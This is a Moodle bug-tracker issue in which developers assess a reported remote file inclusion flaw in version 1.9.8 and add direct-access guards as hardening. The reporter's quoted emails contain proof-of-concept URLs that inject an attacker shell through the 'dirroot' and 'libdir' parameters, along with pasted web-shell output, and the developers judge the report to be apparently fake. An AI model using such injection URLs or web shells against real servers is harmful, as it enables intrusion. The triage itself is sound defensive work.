Uploaded image for project: 'Moodle'
  1. Moodle
  2. MDL-22388

Reporter says input not properly verified on various form scripts

    Details

    • Type: Bug
    • Status: Closed
    • Priority: Minor
    • Resolution: Fixed
    • Affects Version/s: 1.9.8
    • Fix Version/s: 1.9.9
    • Component/s: Security Alert
    • Labels:
    • Affected Branches:
      MOODLE_19_STABLE
    • Fixed Branches:
      MOODLE_19_STABLE

      Description

      As reported by eidelweiss@cyberservices.com via the moodle.org contact form:

      The Vulnerability in Moodle versions 1.9.8+ is:

      1. No sanitize , not defined and No Login require for:

      <?***
      require_once($CFG->libdir.'/formslib.php');
      ***?>

      2. Input passed to the "libdir" and "dirroot" parameter in multiple files is
      not properly verified before being used to include files. This can be exploited
      to execute arbitrary PHP code by including files from local or external
      resources (rfi) and also can be exploited to disclose full user names of other
      users (lfi).

        Gliffy Diagrams

          Attachments

            Activity

            Hide
            tsala Helen Foster added a comment -

            Adding VIP watchers.

            Show
            tsala Helen Foster added a comment - Adding VIP watchers.
            Hide
            danmarsden Dan Marsden added a comment -

            to set libdirir or dirroot a hacker must already have access to write to PHP files or write directly to the database - if they have this they can already execute arbitrary code. and have other means of disclosing usernames/including external resources.

            Show
            danmarsden Dan Marsden added a comment - to set libdirir or dirroot a hacker must already have access to write to PHP files or write directly to the database - if they have this they can already execute arbitrary code. and have other means of disclosing usernames/including external resources.
            Hide
            mjollnir Penny Leach added a comment -

            Actually , if config.php is not included and register globals is on, you can probably inject stuff into $CFG like that. Imagine that include line is right at the top of the file and config.php is never included.

            I'm not sure whether you can do it with object variables, but you can certainly do it with normal variables and array items.

            Show
            mjollnir Penny Leach added a comment - Actually , if config.php is not included and register globals is on, you can probably inject stuff into $CFG like that. Imagine that include line is right at the top of the file and config.php is never included. I'm not sure whether you can do it with object variables, but you can certainly do it with normal variables and array items.
            Hide
            danmarsden Dan Marsden added a comment -

            heh - I always forget about register globals! (which should be turned off anyway)

            I guess we should have checks for defined('MOODLE_INTERNAL') if config.php isn't include on the pager - I presume those can't be set by register globals?

            Show
            danmarsden Dan Marsden added a comment - heh - I always forget about register globals! (which should be turned off anyway) I guess we should have checks for defined('MOODLE_INTERNAL') if config.php isn't include on the pager - I presume those can't be set by register globals?
            Hide
            stronk7 Eloy Lafuente (stronk7) added a comment -

            Ho,

            really I don't know it register_globals() allows, in any way, to inject stuff like that. In any case, since 2008, register_globals is highly recommended to be off in any Moodle server.

            Both admin page and environmental checks inform about that, installation of new sites also stopped and, Moodle 2.0 won't run at all if set. Also we published about that here:

            http://moodle.org/mod/forum/discuss.php?d=87969

            I think that's all (from a register_globals() POV).

            I cannot imagine another way to inject variables there (but already having config.php/DB "cracked", as Dan commented, and if that happens well, to modify $CFG->libdir is one of the less "interesting" things the cracker will do).

            Can you imagine another sort of injection for those $CFG vars?

            Ciao

            Show
            stronk7 Eloy Lafuente (stronk7) added a comment - Ho, really I don't know it register_globals() allows, in any way, to inject stuff like that. In any case, since 2008, register_globals is highly recommended to be off in any Moodle server. Both admin page and environmental checks inform about that, installation of new sites also stopped and, Moodle 2.0 won't run at all if set. Also we published about that here: http://moodle.org/mod/forum/discuss.php?d=87969 I think that's all (from a register_globals() POV). I cannot imagine another way to inject variables there (but already having config.php/DB "cracked", as Dan commented, and if that happens well, to modify $CFG->libdir is one of the less "interesting" things the cracker will do). Can you imagine another sort of injection for those $CFG vars? Ciao
            Hide
            dougiamas Martin Dougiamas added a comment -

            I wrote to him yesterday:

            Hi Randy,

            Thanks for taking the time to report your finding. (We have an
            established process for this that would be faster - see
            http://moodle.org/security/ - but that's OK, it got through to us
            eventually anyway)

            About the bug, it doesn't currently look like it's a problem to me.

            1) $CFG variables need to be set in config.php or in some other PHP
            script, so the attacker would need access to PHP scripts already to
            change those.
            2) It doesn't seem possible to set values in an object like
            $CFG->libdir directly via GET or POST, even if register globals is on.
            3) Even if $CFG is set in that case, the script would fail due to a
            syntax error.

            Perhaps I'm missing something ... if so can you let me know? An
            example of an exploit would be useful in tracking this down.

            If there is a problem we of course want to fix it!

            Regards,
            Martin

            Show
            dougiamas Martin Dougiamas added a comment - I wrote to him yesterday: Hi Randy, Thanks for taking the time to report your finding. (We have an established process for this that would be faster - see http://moodle.org/security/ - but that's OK, it got through to us eventually anyway) About the bug, it doesn't currently look like it's a problem to me. 1) $CFG variables need to be set in config.php or in some other PHP script, so the attacker would need access to PHP scripts already to change those. 2) It doesn't seem possible to set values in an object like $CFG->libdir directly via GET or POST, even if register globals is on. 3) Even if $CFG is set in that case, the script would fail due to a syntax error. Perhaps I'm missing something ... if so can you let me know? An example of an exploit would be useful in tracking this down. If there is a problem we of course want to fix it! Regards, Martin
            Hide
            dougiamas Martin Dougiamas added a comment -

            Randy wrote back:

            Hi Martin,

            Thank`s For Your Mail.in some file directory in Moodle 1.9.8+ i found some Vulnerability c0de.

            =[ Vuln C0de ]=

            1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.
            This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).

            For example in this line:

            [-] moodle/group/group_form.php

            require_once($CFG->dirroot.'/lib/formslib.php'); // line 3

            =[ Proof Of Concept ]=

            how to exploit this ? attacker can use php script shell injection to exploit this vulnerability
            ex:
            http://127.0.0.1/moodle/group/group_form.php?dirroot= <attacker shell>

            [-] moodle/blog/edit_form.php

            <--
            require_once($CFG->libdir.'/formslib.php');
            -->

            =[ Proof Of Concept ]=

            how to exploit this ? attacker can use php script shell injection to exploit this vulnerability
            ex:
            http://127.0.0.1/moodle/blog/edit_form.php?libdir= <attacker shell>

            or you can visit my blog to see the full original advisories :

            http://eidelweiss-advisories.blogspot.com/2010/05/moodle-198-libdir-dirroot-rfi.html

            Thank`s Before and Success For You.

            Regards,

            Randy Arios a.k.a eidelweiss

            Show
            dougiamas Martin Dougiamas added a comment - Randy wrote back: Hi Martin, Thank`s For Your Mail.in some file directory in Moodle 1.9.8+ i found some Vulnerability c0de. =[ Vuln C0de ]= 1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi). For example in this line: [-] moodle/group/group_form.php require_once($CFG->dirroot.'/lib/formslib.php'); // line 3 =[ Proof Of Concept ]= how to exploit this ? attacker can use php script shell injection to exploit this vulnerability ex: http://127.0.0.1/moodle/group/group_form.php?dirroot= <attacker shell> [-] moodle/blog/edit_form.php <-- require_once($CFG->libdir.'/formslib.php'); --> =[ Proof Of Concept ]= how to exploit this ? attacker can use php script shell injection to exploit this vulnerability ex: http://127.0.0.1/moodle/blog/edit_form.php?libdir= <attacker shell> or you can visit my blog to see the full original advisories : http://eidelweiss-advisories.blogspot.com/2010/05/moodle-198-libdir-dirroot-rfi.html Thank`s Before and Success For You. Regards, Randy Arios a.k.a eidelweiss
            Hide
            dougiamas Martin Dougiamas added a comment -

            And I wrote back just now:

            Randy,

            Sorry, but have you actually tested this?

            When I try it I get the following, as I would expect:

            http://localhost/19/group/group_form.php?dirroot=something

            ( ! ) Notice: Undefined variable: CFG in /web/19/group/group_form.php on line 3
            Call Stack

            1. Time Memory Function Location
              1 0.0005 89900 {main}( ) ../group_form.php:0

              ( ! ) Notice: Trying to get property of non-object in /web/19/group/group_form.php on line 3
              Call Stack
              # Time Memory Function Location
              1 0.0005 89900 {main}

              ( ) ../group_form.php:0

            ( ! ) Warning: require_once(/lib/formslib.php) [function.require-once]: failed to open stream: No such file or directory in /web/19/group/group_form.php on line 3
            Call Stack

            1. Time Memory Function Location
              1 0.0005 89900 {main}( ) ../group_form.php:0

              ( ! ) Fatal error: require_once() [function.require]: Failed opening required '/lib/formslib.php' (include_path='.:/Applications/MAMP/bin/php5/lib/php') in
              /web/19/group/group_form.php on line 3
              Call Stack
              # Time Memory Function Location
              1 0.0005 89900 {main}

              ( ) ../group_form.php:0

            Show
            dougiamas Martin Dougiamas added a comment - And I wrote back just now: Randy, Sorry, but have you actually tested this? When I try it I get the following, as I would expect: http://localhost/19/group/group_form.php?dirroot=something ( ! ) Notice: Undefined variable: CFG in /web/19/group/group_form.php on line 3 Call Stack Time Memory Function Location 1 0.0005 89900 {main}( ) ../group_form.php:0 ( ! ) Notice: Trying to get property of non-object in /web/19/group/group_form.php on line 3 Call Stack # Time Memory Function Location 1 0.0005 89900 {main} ( ) ../group_form.php:0 ( ! ) Warning: require_once(/lib/formslib.php) [function.require-once] : failed to open stream: No such file or directory in /web/19/group/group_form.php on line 3 Call Stack Time Memory Function Location 1 0.0005 89900 {main}( ) ../group_form.php:0 ( ! ) Fatal error: require_once() [function.require] : Failed opening required '/lib/formslib.php' (include_path='.:/Applications/MAMP/bin/php5/lib/php') in /web/19/group/group_form.php on line 3 Call Stack # Time Memory Function Location 1 0.0005 89900 {main} ( ) ../group_form.php:0
            Hide
            stronk7 Eloy Lafuente (stronk7) added a comment -

            Well,

            I was expecting something more elaborated (dark cracking) in order to get those $CFG vars injected/exploited. But his proof of concept sounds completely fake IMO.

            In any case, I think we should extend the MOODLE_INTERNAL test:

            // Prevent direct access to this file
            if (!defined('MOODLE_INTERNAL')) {
                die('Direct access to this script is forbidden.');
            }

            To any file fulfilling both these characteristics:

            1. Is never called from browser (only can be included)
            2. Has global-scope code (not needed with files being 100% OOP code).

            That way, those "proof of concept" things won't be getting anything but the "Direct access..." message above.

            Ciao

            Show
            stronk7 Eloy Lafuente (stronk7) added a comment - Well, I was expecting something more elaborated (dark cracking) in order to get those $CFG vars injected/exploited. But his proof of concept sounds completely fake IMO. In any case, I think we should extend the MOODLE_INTERNAL test: // Prevent direct access to this file if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); } To any file fulfilling both these characteristics: Is never called from browser (only can be included) Has global-scope code (not needed with files being 100% OOP code). That way, those "proof of concept" things won't be getting anything but the "Direct access..." message above. Ciao
            Hide
            stronk7 Eloy Lafuente (stronk7) added a comment - - edited

            Just for reference, I got this published today in some of my security feeds, grrr:

            http://packetstormsecurity.org/1005-exploits/moodle198-rfi.txt

            Ciao

            Show
            stronk7 Eloy Lafuente (stronk7) added a comment - - edited Just for reference, I got this published today in some of my security feeds, grrr: http://packetstormsecurity.org/1005-exploits/moodle198-rfi.txt Ciao
            Hide
            dougiamas Martin Dougiamas added a comment -

            From Randy:

            Yes Of Course i have tested here:

            http://localhost/moodle/group/group_form.php?dirroot=script/c100.txt?cmd?&chdir=bla..bla..bla

            10-05-2010 03:55:15 [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]
            safe_mode: OFF_not_secure PHP version: 4.4.9 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
            Disable functions : NONE
            Free space : 39.95 GB Total space: 67.32 GB

            uname -a : Linux localhost 2.6.29-grsec #2 SMP Fri Aug 14 21:37:03 PDT 2009 i686 GNU/Linux
            id : uid=80 ( Apache ) gid=80 ( Apache )

            This Proof of concept from me for this issue sir . Thank`s Before and Have A Nice Day.

            Regards,

            Randy Arios a.k.a eidelweiss

            Show
            dougiamas Martin Dougiamas added a comment - From Randy: Yes Of Course i have tested here: http://localhost/moodle/group/group_form.php?dirroot=script/c100.txt?cmd?&chdir=bla..bla..bla 10-05-2010 03:55:15 [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ] safe_mode: OFF_not_secure PHP version: 4.4.9 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF Disable functions : NONE Free space : 39.95 GB Total space: 67.32 GB uname -a : Linux localhost 2.6.29-grsec #2 SMP Fri Aug 14 21:37:03 PDT 2009 i686 GNU/Linux id : uid=80 ( Apache ) gid=80 ( Apache ) This Proof of concept from me for this issue sir . Thank`s Before and Have A Nice Day. Regards, Randy Arios a.k.a eidelweiss
            Hide
            stronk7 Eloy Lafuente (stronk7) added a comment - - edited

            Well,

            I continue thinking the above exploit example is unable to inject anything into $CFG->dirroot at all, hence, the shell cannot be executed. Or the guy is hiding info, or it's some bug in PHP 4.4.x (causing the $CFG injection to happen), or it's simply fake).

            I really cannot guarantee that it's impossible to inject object attributes via register_globals, although I haven't been able to find any information about that.

            In any case, I think the MOODLE_INTERNAL trick will help to cut any real/potential exploit in those scripts. So +1 for that.

            In the other side, I just did a quick search for requires/includes not using CFG at all:

             egrep -rn '(include|require)_once\(\$' * | grep -v CFG

            and found a bunch of them (aprox 100). IMO we should check all them are properly checked/initialized variables (non-usurpable by register_globals at all).

            Ciao

            PS: register_globals() is evil, evil, evil! Impossible to protect all the stuff from it being enabled.

            Show
            stronk7 Eloy Lafuente (stronk7) added a comment - - edited Well, I continue thinking the above exploit example is unable to inject anything into $CFG->dirroot at all, hence, the shell cannot be executed. Or the guy is hiding info, or it's some bug in PHP 4.4.x (causing the $CFG injection to happen), or it's simply fake). I really cannot guarantee that it's impossible to inject object attributes via register_globals, although I haven't been able to find any information about that. In any case, I think the MOODLE_INTERNAL trick will help to cut any real/potential exploit in those scripts. So +1 for that. In the other side, I just did a quick search for requires/includes not using CFG at all: egrep -rn '(include|require)_once\(\$' * | grep -v CFG and found a bunch of them (aprox 100). IMO we should check all them are properly checked/initialized variables (non-usurpable by register_globals at all). Ciao PS: register_globals() is evil, evil, evil! Impossible to protect all the stuff from it being enabled.
            Hide
            mjollnir Penny Leach added a comment -

            I agree with everything Eloy says

            Show
            mjollnir Penny Leach added a comment - I agree with everything Eloy says
            Hide
            mchurch Mike Churchward added a comment -

            So, is he saying that specifying "dirroot=[anything]" with register globals on, will set the "$CFG->dirroot" variable? That is nonsense.

            Show
            mchurch Mike Churchward added a comment - So, is he saying that specifying "dirroot= [anything] " with register globals on, will set the "$CFG->dirroot" variable? That is nonsense.
            Hide
            dougiamas Martin Dougiamas added a comment -

            Totally agree there is no exploit here.

            I've added MOODLE_INTERNAL checks all over the place in 1.9 and HEAD anyway just to make this clearer.

            Show
            dougiamas Martin Dougiamas added a comment - Totally agree there is no exploit here. I've added MOODLE_INTERNAL checks all over the place in 1.9 and HEAD anyway just to make this clearer.
            Hide
            tsala Helen Foster added a comment -

            Wasn't this issue fixed months ago? If so, please can someone knowledgeable mark it as resolved.

            Show
            tsala Helen Foster added a comment - Wasn't this issue fixed months ago? If so, please can someone knowledgeable mark it as resolved.
            Hide
            tsala Helen Foster added a comment -

            Resolving as fixed and guessing the fix version of 1.9.9.

            Show
            tsala Helen Foster added a comment - Resolving as fixed and guessing the fix version of 1.9.9.

              People

              • Votes:
                0 Vote for this issue
                Watchers:
                4 Start watching this issue

                Dates

                • Created:
                  Updated:
                  Resolved:
                  Fix Release Date:
                  8/Jun/10